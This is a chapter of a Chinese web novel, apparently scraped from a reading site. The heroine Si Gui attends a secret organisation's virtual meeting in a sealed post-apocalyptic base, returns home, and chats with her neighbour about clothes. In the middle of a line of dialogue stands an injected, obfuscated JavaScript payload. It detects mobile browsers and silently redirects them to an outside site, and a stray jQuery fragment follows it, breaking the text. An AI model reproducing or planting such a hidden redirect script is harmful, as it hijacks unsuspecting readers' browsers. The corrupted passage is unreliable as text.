【诶，劳劳啊，听说你这段时间又要去基地外了，外面的世界现在变成怎么样了啊？】


    绿人偶似乎有些在意这次会议的旁听人员，朝姒姽站着的方向瞟了一眼后，淡淡回复了句：


    【老样子。】


    随即便闭上嘴，不再多说。


    基地外？


    短短几句对话，内含的信息量却是非常庞大。


    从基地建立开始，人类与外界的沟通几乎彻底断联。


    基地外污染浓度过高、怪物横生，早已不再适应人类生存。


    最初，基地还会派出调查队和物资搜索小组去基地外探查。


    但伴随着外界污染浓度持续性上升，和基地建设的日益完善。


    基地最终解散了所有的调查队和搜索队，封锁了所有的通道，与外界彻底隔绝。


    这么多年过去，外界的污染肯定升高至一个难以想象的超高数值，异端和变异的动植物占领土地，人类已经彻底丧失了居住权。


    好在，还有基地这个最后的人类乌托邦。


    现在的基地已经彻底实现自给自足，合理的空间布局和物资分配，生活在基地中的幸存者们早已适应现在的生活。


    能在末世中吃饱穿暖，有一份适合自己的工作，即使有时候会碰上异端，也有异管局的人来解决。


    经历过浩劫的人们早已过了“渴望外界”的阶段。


    围墙的外面是什么？


    不过是更大、更危险的围墙。


    所以，姒姽在听到纳西索斯与绿人偶对话中的“去基地外”时，第一反应是震惊，第二反应是不理解。


    他是怎样偷渡出基地的呢？


    又是怎样在高浓度污染的环境中生存下来，并再度回到基地的呢？


    他去基地外干什么？


    有什么目的或者是阴谋吗？


    还有……他们的态度会不会太平淡了点啊！


    对于纳西索斯和那位被称呼为劳劳的绿人影如同交流“昨晚吃的什么？”一般平淡的对话，姒姽有些怀疑人生。


    从他们的语气中能听得出，“劳劳”离开基地的频率似乎很平凡，而组织对他能出基地这件事是知情、同意，甚至是提供帮助的。


    【诶，老样子啊……】


    粉红人影撇撇嘴，也不再追问。


    一直沉默的黄人偶突然抬头，冷不丁的开口道。


    【母亲最近状态怎么样？】


    一时间，没有人接话。


    姒姽感觉到，几道目光若有若无的往她身上瞟。


    果然，虽然她被允许旁听会议，但这并不代表会议中的所有内容都是她可以知道的。


    比如如何离开基地？


    又为何要离开基地？


    比如“母亲”是谁？


    她又有什么目的？


    而且……这些事情既然是不希望她这个“旁听者”知道的，又为什么要问呢？


    姒姽打量着一红一黄两个人影，心情有些微妙。


    他们在权限的边缘试探，尝试给她更多的线索。


    【活跃度不高，但能维持正常工作状态。】


    代表智的蓝人偶平静回复。


    回复的内容让姒姽有些一头雾水。


    感觉他不是在形容一个人，而是在形容一个机器的状态。


    难道，“母亲”也是人工智能吗？


    猜想浮现出来，姒姽顿时有种机器人即将统治人类的荒谬感。


    如果掌握如此庞大的权限、技术和物资的组织，背后领导者是非人类智能体，那么人类就真得离交出基地的统治权不远了。


    会议后续的内容就很平淡，无非是工作总结、后续任务安排、组织内部成员等级升降判定等无聊琐碎的内容，没什么惊爆的消息。


    姒姽站在角落处，听得昏昏欲睡。


    果然，无论是在哪里，她都是讨厌开会的。


    会议的持续时间不长，半个小时不到就开始散场。


    彩色虚拟人影陆续闪退，直到深蓝色的虚拟房间里只剩下代表“智”的蓝人偶和姒姽。


    【会议结束了，我可以离开了吗？】


    被幽灵般的亮蓝色人影盯得后背发凉，姒姽尬笑两声，率先开口。


    别是因为听到的东西太多，要被杀人灭口了……


    姒姽下意识摸口袋，没摸到小刀。


    完了，手撕智能体的胜率有多高？


    就在姒姽忐忑不安，准备打一场硬仗时，智突然发声。


    【你升级了。】


    嗯？


    对于智没来由的突兀发言，姒姽一头雾水。


    升级？


    听起来不太像形容人的。


    一人一智能体面面相觑，空气里陷入尴尬的沉默。


    【本次任务的奖励结算将在三日之内进行，请注意查收。


    门外停靠的编号B510轿车已设定好目的地，你可以离开了。


    我们后会有期。】


    蓝色虚影闪退，治疗室恢复至原本的白色状态。


    啪的一声，白色铁门自动打开。


    姒姽最后扫视一眼空荡荡的治疗室，茧状的治疗仓已经闭合，整个房间与来时无异。


    走出治疗室，穿过长长的走廊，回到进来时的大门。


    一辆黑色小型车停在大门外，姒姽靠近后，车门自动打开。


    驾驶室内没有人，姒姽干脆坐在驾驶位上，任由预设好的自动驾驶程序自主导航驾驶。


    车窗依旧被蒙上黑色薄膜，看不清外面的街景。


    姒姽本就无意打探路线，只不过手环无法使用有些无聊。


    没办法刷小视频的姒姽干脆把座椅放低，躺在软座上，闭目养神。


    没过多久，车缓缓停稳，黑色薄膜褪去，姒姽向窗外看去。


    熟悉的灰色水泥楼令人安心。


    她已经回到宿舍了。


    下车后，黑色小车又智能驾驶原路返回。


    姒姽乘坐电梯，到达宿舍门口。


    正准备指纹解锁打开自家宿舍的门，进去洗个热水澡、吃点小零食，美美刷点小视频放松身心。


    但，迟疑片刻后，伸出的手调转方向。


    姒姽转身，敲响隔壁慧澜的门。


    哒哒哒……


    “谁呀……姒姽姐，你回来了啊！”


    慧澜打开门，亮晶晶的眼睛打量着姒姽，兴奋的表情未持续多久，随即便皱起眉。


    “姒姽姐，你说你出去玩，就穿的这身衣服出去玩的？”


    姒姽低头，看了眼自己被清洗消毒得锃亮的基建团旧款工作服，点点头。


    很新、很好，有什么问题吗？


    慧澜看着姒姽一脸迷茫的表情，愈发激动。


    “当然啊！谁出去玩会穿工作服啊！


    而且……”


    慧澜顿了一下，将后半句话吞回口中，转而问道。


    “我记得你刚来时说，你欠基地一笔积分。


    那笔欠款还完了吗？


    如果有需要的话，我可以……”


    慧澜后半句的“借你一点，不还也行”，还未说出口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398558|176815||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，就被姒姽连声喊停。


    “停停停……”


    姒姽尴尬摆手，连忙解释道。


    “误会了，误会了。


    那笔欠款早就还清了，我现在积分很多，不缺积分的。”


    姒姽回忆着手环里个人账户中的那一长串数字，尴尬一笑。


    整个普民区里，有她这样庞大的积分数的人，恐怕不超过十个。


    “那为什么不穿自己的衣服？


    姒姽姐，我好像还从来没见过你穿自己的衣服诶……”


    慧澜抛出灵魂质问，姒姽心虚地撇开视线，看向自己工服的橘色袖口。


    好像从加入基建团开始，她就只穿工服和赠送的家居服，还从未用积分买过一件衣服。


    只穿工服很奇怪吗？


    这衣服质量还挺好的啊……


    并没什么审美和搭配能力的姒姽不能理解为什么衣服够穿还要用积分买。


    在基建团时，基建团会发衣服。


    在异管局时，异管局会发衣服。


    虽然款式都很普通，但胜在质量好，经久耐穿，就算穿坏了，还会发新的。


    所以，这么多年来，她还真的很少给自己买衣物。


    “因为……没必要啊。”


    姒姽用单纯而真挚的眼神看向慧澜，搞得慧澜一时有些无语，不知该如何接话。


    虽然慧澜并不知道姒姽还有组织的“灰色收入”，但光从基建团发的几笔工资和补偿金来看，姒姽确实不缺钱。


    那么……她是真的懒得买衣服！


    甚至，她可能根本不知道该怎么买衣服。


    慧澜快速打开手环，发送邮件。


    “我刚刚给乔木姐发了消息，她现在有空。


    等她来了，我们一起去买几件衣服。


    工作服工作的时候穿就行了，这么怪的颜色、这么……嗯，难评的款式，平时就不要穿了。”


    慧澜摸了一下姒姽外衣的袖口，硬邦邦的手感令她露出嫌弃的表情，一副“这都能穿的下去，穿点好的吧”的表情。


    被突然安排去买衣服的姒姽虽然不能理解，但还是点点头。


    衣服不是能穿就行吗？


    还有挑款式啊……


    姒姽歪歪脑袋，顿感自己这个实际心理年龄快奔三十的人是不是与现在的年轻人产生了代沟。


    好在，慧澜并没有继续这个“买衣服”的话题，而是转而问道。


    “对了，姒姽姐，你之前说你这两天要出去玩。


    你去哪里玩的呢？”


    姒姽猛然想起来出任务前的两天，为了不被基建团的人发现自己“失联”，所以提前跟慧澜打过招呼，说自己要出去玩两天放松心情。


    “嗯……去看了场好剧。”


    “剧？


    什么剧？”


    慧澜有些意外，她还以为姒姽这样的人，到了休息日，会像乔木一样，选择去健身房减压的。


    没想到这么文艺。


    “算是古典剧吧。”


    慧澜的震惊之情又提高一个层次，看向姒姽的眼神中带着几分刮目相看的味道。


    突然，她想到什么，从手环里调出一张通知单图片。


    “说到古典戏剧，不知道你知不知道这家剧院。”


    姒姽看着图片中熟悉的建筑物，以及硕大的招牌：浮士德歌剧院。


    额，姒姽很想说自己不止知道，还刚去那里解决完异端。


    但是，面对慧澜，此刻的她只能心虚地点头，敷衍回复：


    “听说过。”